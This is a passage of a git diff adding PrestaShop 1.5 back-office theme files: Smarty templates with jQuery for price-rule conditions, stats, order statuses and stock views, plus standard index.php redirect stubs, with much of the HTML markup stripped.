receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{* Generate HTML code for printing OrderSlip Icon with link *} + +order_slip + diff --git a/BO/themes/default/template/controllers/slip/helpers/form/form.tpl b/BO/themes/default/template/controllers/slip/helpers/form/form.tpl new file mode 100755 index 0000000..d728b4c --- /dev/null +++ b/BO/themes/default/template/controllers/slip/helpers/form/form.tpl @@ -0,0 +1,46 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name=script} + + $(document).ready(function() { + var btn_save_date = $('span[class~="process-icon-save-date"]').parent(); + var btn_submit_date = $('#submitPrint'); + + if (btn_save_date.length > 0 && btn_submit_date.length > 0) + { + btn_submit_date.hide(); + btn_save_date.find('span').removeClass('process-icon-save-date'); + btn_save_date.find('span').addClass('process-icon-save-calendar'); + btn_save_date.click(function() { + btn_submit_date.before(''); + + $('#order_slip_form').submit(); + }); + } + }); + +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/slip/helpers/form/index.php b/BO/themes/default/template/controllers/slip/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/slip/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/slip/helpers/index.php b/BO/themes/default/template/controllers/slip/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/slip/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/slip/index.php b/BO/themes/default/template/controllers/slip/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/slip/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/specific_price_rule/helpers/form/form.tpl b/BO/themes/default/template/controllers/specific_price_rule/helpers/form/form.tpl new file mode 100755 index 0000000..da734f2 --- /dev/null +++ b/BO/themes/default/template/controllers/specific_price_rule/helpers/form/form.tpl @@ -0,0 +1,298 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="other_fieldsets"} + +
 
+
+
+
+ + + {l s='Add a new condition group'} + +
+

{l s='Conditions'}

+
+ +
+ + + + {l s='Add condition'} + +
+
+ +
+ +
+ + + + {l s='Add condition'} + +
+
+ +
+ +
+ + + + {l s='Add condition'} + +
+
+ +
+ +
+ + {foreach from=$attributes_group item='attribute_group'} + + {/foreach} + + + + {l s='Add condition'} + +
+
+ +
+ +
+ + {foreach from=$features item='feature'} + + {/foreach} + + + + {l s='Add condition'} + +
+
+
+
+{if !$is_multishop} + +{/if} +{/block} + +{block name="script"} +var current_id_condition_group = 0; +var last_condition_group = 0; +var conditions = new Array(); + +function toggle_condition_group(id_condition_group) +{ + $('.condition_group > table').css('border', 'none'); + $('#condition_group_'+id_condition_group+' > table').css('border', '2px solid'); + current_id_condition_group = id_condition_group; +} + +function add_condition(id_condition_group, type, value) +{ + var id_condition = id_condition_group+'_'+type+'_'+value; + if (typeof conditions[id_condition] != 'undefined') + return false; + var condition = new Array(); + condition.type = type; + condition.value = value; + condition.id_condition_group = id_condition_group; + conditions[id_condition] = condition; + return id_condition; +} + +function delete_condition(condition) +{ + delete conditions[condition]; + $('#'+condition).remove(); + return false; +} + +function new_condition_group() +{ + last_condition_group++; + var html = '

{l s='Condition group'} '+last_condition_group+'

'; + html += '
{l s='Type'}{l s='Value'}
'; + html += '
{l s='OR'}
'; + $('#condition_group_list').append(html); + toggle_condition_group(last_condition_group); +} + +function appendConditionToGroup(html) +{ + if ($('#condition_group_'+current_id_condition_group+' table tbody tr').length > 0) + $('#condition_group_'+current_id_condition_group+' table tbody').append('{l s='AND' js=1}'); + $('#condition_group_'+current_id_condition_group+' table tbody').append(html); +} + +$(document).ready(function() { + $('#leave_bprice_on').click(function() { + if (this.checked) + $('#price').attr('disabled', 'disabled'); + else + $('#price').removeAttr('disabled'); + }); + + $('#specific_price_rule_form').live('submit', function(e) { + var html = ''; + for (i in conditions) + html += ''; + $('#conditions').append(html); + }); + + $('#id_feature').change(function() { + $('.id_feature_value').hide(); + $('#id_feature_'+$(this).val()).show(); + }); + + $('#id_attribute_group').change(function() { + $('.id_attribute').hide(); + $('#id_attribute_'+$(this).val()).show(); + }); + + $('#add_condition_category').click(function() { + var id_condition = add_condition(current_id_condition_group, 'category', $('#id_category option:selected').val()); + if (!id_condition) + return false; + + var html = '{l s='Category'}'+$('#id_category option:selected').html()+''; + appendConditionToGroup(html); + + return false; + }); + + $('#add_condition_manufacturer').click(function() { + var id_condition = add_condition(current_id_condition_group, 'manufacturer', $('#id_manufacturer option:selected').val()); + if (!id_condition) + return false; + + var html = '{l s='Manufacturer'}'+$('#id_manufacturer option:selected').html()+''; + appendConditionToGroup(html); + + return false; + }); + + $('#add_condition_supplier').click(function() { + var id_condition = add_condition(current_id_condition_group, 'supplier', $('#id_supplier option:selected').val()); + if (!id_condition) + return false; + + var html = '{l s='Supplier'}'+$('#id_supplier option:selected').html()+''; + appendConditionToGroup(html); + + return false; + }); + + $('#add_condition_attribute').click(function() { + var id_condition = add_condition(current_id_condition_group, 'attribute', $('#id_attribute_'+$('#id_attribute_group option:selected').val()+' option:selected').val()); + if (!id_condition) + return false; + + var html = '{l s='Attribute'}'+$('#id_attribute_group option:selected').html()+': '+$('#id_attribute_'+$('#id_attribute_group option:selected').val()+' option:selected').html()+''; + appendConditionToGroup(html); + + return false; + }); + + $('#add_condition_feature').click(function() { + var id_condition = add_condition(current_id_condition_group, 'feature', $('#id_feature_'+$('#id_feature option:selected').val()+' option:selected').val()); + if (!id_condition) + return false; + + var html = '{l s='Feature'}'+$('#id_feature option:selected').html()+': '+$('#id_feature_'+$('#id_feature option:selected').val()+' option:selected').html()+''; + appendConditionToGroup(html); + + return false; + }); + + $('#add_condition_group').click(function() { + new_condition_group(); + return false; + }); + + $('.condition_group').live('click', function() { + var id = this.id.split('_'); + toggle_condition_group(id[2]); + return false; + }); + + {if $conditions|@count == 0} + new_condition_group(); + {/if} + + {foreach from=$conditions key='id_group_condition' item='condition_group'} + new_condition_group(); + {foreach from=$condition_group item='condition'} + {if $condition.type == 'attribute'} + $('#id_attribute_group option[value="{$condition.id_attribute_group}"]').attr('selected', true); + $('#id_attribute_{$condition.id_attribute_group} option[value="{$condition.value}"]').attr('selected', true); + {elseif $condition.type == 'feature'} + $('#id_feature[value="{$condition.id_feature}"]').attr('selected', true); + $('#id_feature_{$condition.id_feature} option[value="{$condition.value}"]').attr('selected', true); + {else} + $('#id_{$condition.type} option[value="{$condition.value}"]').attr('selected', true); + {/if} + $('#add_condition_{$condition.type}').click(); + {/foreach} + {/foreach} + $('#id_attribute_group').change(); + $('#id_feature').change(); +}); +{/block} diff --git a/BO/themes/default/template/controllers/specific_price_rule/helpers/form/index.php b/BO/themes/default/template/controllers/specific_price_rule/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/specific_price_rule/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/specific_price_rule/helpers/index.php b/BO/themes/default/template/controllers/specific_price_rule/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/specific_price_rule/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/specific_price_rule/index.php b/BO/themes/default/template/controllers/specific_price_rule/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/specific_price_rule/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/states/helpers/list/list_footer.tpl b/BO/themes/default/template/controllers/states/helpers/list/list_footer.tpl new file mode 100755 index 0000000..57a2e93 --- /dev/null +++ b/BO/themes/default/template/controllers/states/helpers/list/list_footer.tpl @@ -0,0 +1,106 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + {if $bulk_actions} +

+ {if $bulk_actions|count > 1} + + + {else} + {foreach $bulk_actions as $key => $params} + {if $key == 'affectzone'} + + {/if} + + {/foreach} + {/if} +

+ {/if} + + + + + + + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/states/index.php b/BO/themes/default/template/controllers/states/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/states/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stats/calendar.tpl b/BO/themes/default/template/controllers/stats/calendar.tpl new file mode 100755 index 0000000..1601b52 --- /dev/null +++ b/BO/themes/default/template/controllers/stats/calendar.tpl @@ -0,0 +1,54 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+
+
+ + + + + + +

{if isset($translations.From)}{$translations.From}{else}{l s='From:'}{/if} + +

+

{if isset($translations.To)}{$translations.To}{else}{l s='From:'}{/if} + +

+ +
+ + +
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/stats/engines.tpl b/BO/themes/default/template/controllers/stats/engines.tpl new file mode 100755 index 0000000..cb83707 --- /dev/null +++ b/BO/themes/default/template/controllers/stats/engines.tpl @@ -0,0 +1,70 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+
+
+

{l s='Settings'}

+ +
+ + {if count($array_graph_engines)} + + + {else} + {l s='No graph engine module has been installed.'} + {/if} +
+ +
+ + {if count($array_grid_engines)} + + {else} + {l s='No grid engine module has been installed.'} + {/if} +
+ +
+ + +
+

+
+
+ +
\ No newline at end of file diff --git a/BO/themes/default/template/controllers/stats/helpers/index.php b/BO/themes/default/template/controllers/stats/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/stats/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stats/helpers/view/index.php b/BO/themes/default/template/controllers/stats/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/stats/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stats/helpers/view/view.tpl b/BO/themes/default/template/controllers/stats/helpers/view/view.tpl new file mode 100755 index 0000000..26ca87b --- /dev/null +++ b/BO/themes/default/template/controllers/stats/helpers/view/view.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + +{/block} + diff --git a/BO/themes/default/template/controllers/stats/index.php b/BO/themes/default/template/controllers/stats/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/stats/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stats/menu.tpl b/BO/themes/default/template/controllers/stats/menu.tpl new file mode 100755 index 0000000..477f7a8 --- /dev/null +++ b/BO/themes/default/template/controllers/stats/menu.tpl @@ -0,0 +1,43 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
+ +
+ + diff --git a/BO/themes/default/template/controllers/statuses/helpers/form/form.tpl b/BO/themes/default/template/controllers/statuses/helpers/form/form.tpl new file mode 100755 index 0000000..c54a61c --- /dev/null +++ b/BO/themes/default/template/controllers/statuses/helpers/form/form.tpl @@ -0,0 +1,80 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="label"} + {if $input.type == "select_template"} +
+ {/if} + {$smarty.block.parent} +{/block} + +{block name="input"} + {if $input.type == "select_template"} +
+ {foreach $languages as $language} +
+ + {if isset($input.hint)}{$input.hint} {/if} + {l s='Preview'} +
+ {/foreach} +
+ {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="field"} + {$smarty.block.parent} + {if $input.type == "select_template"} +
+ {/if} +{/block} + +{block name="script"} + $(document).ready(function() { + $('#send_email_on').click(function() { + $('#tpl').slideToggle(); + }); + }); +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/statuses/helpers/form/index.php b/BO/themes/default/template/controllers/statuses/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/statuses/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/statuses/helpers/index.php b/BO/themes/default/template/controllers/statuses/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/statuses/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/statuses/index.php b/BO/themes/default/template/controllers/statuses/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/statuses/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stock_cover/helpers/index.php b/BO/themes/default/template/controllers/stock_cover/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/stock_cover/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stock_cover/helpers/list/index.php b/BO/themes/default/template/controllers/stock_cover/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/stock_cover/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stock_cover/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/stock_cover/helpers/list/list_header.tpl new file mode 100755 index 0000000..a42fa82 --- /dev/null +++ b/BO/themes/default/template/controllers/stock_cover/helpers/list/list_header.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/list/list_header.tpl"} +{block name=override_header} +
+
+ + + {if count($stock_cover_periods) > 1} +
+ + +
+ {/if} + {if count($stock_cover_warehouses) > 0} +
+ + +
+ {/if} +
+ + + +
+
+
+{/block} diff --git a/BO/themes/default/template/controllers/stock_cover/index.php b/BO/themes/default/template/controllers/stock_cover/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/stock_cover/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stock_instant_state/helpers/index.php b/BO/themes/default/template/controllers/stock_instant_state/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/stock_instant_state/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stock_instant_state/helpers/list/index.php b/BO/themes/default/template/controllers/stock_instant_state/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/stock_instant_state/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license 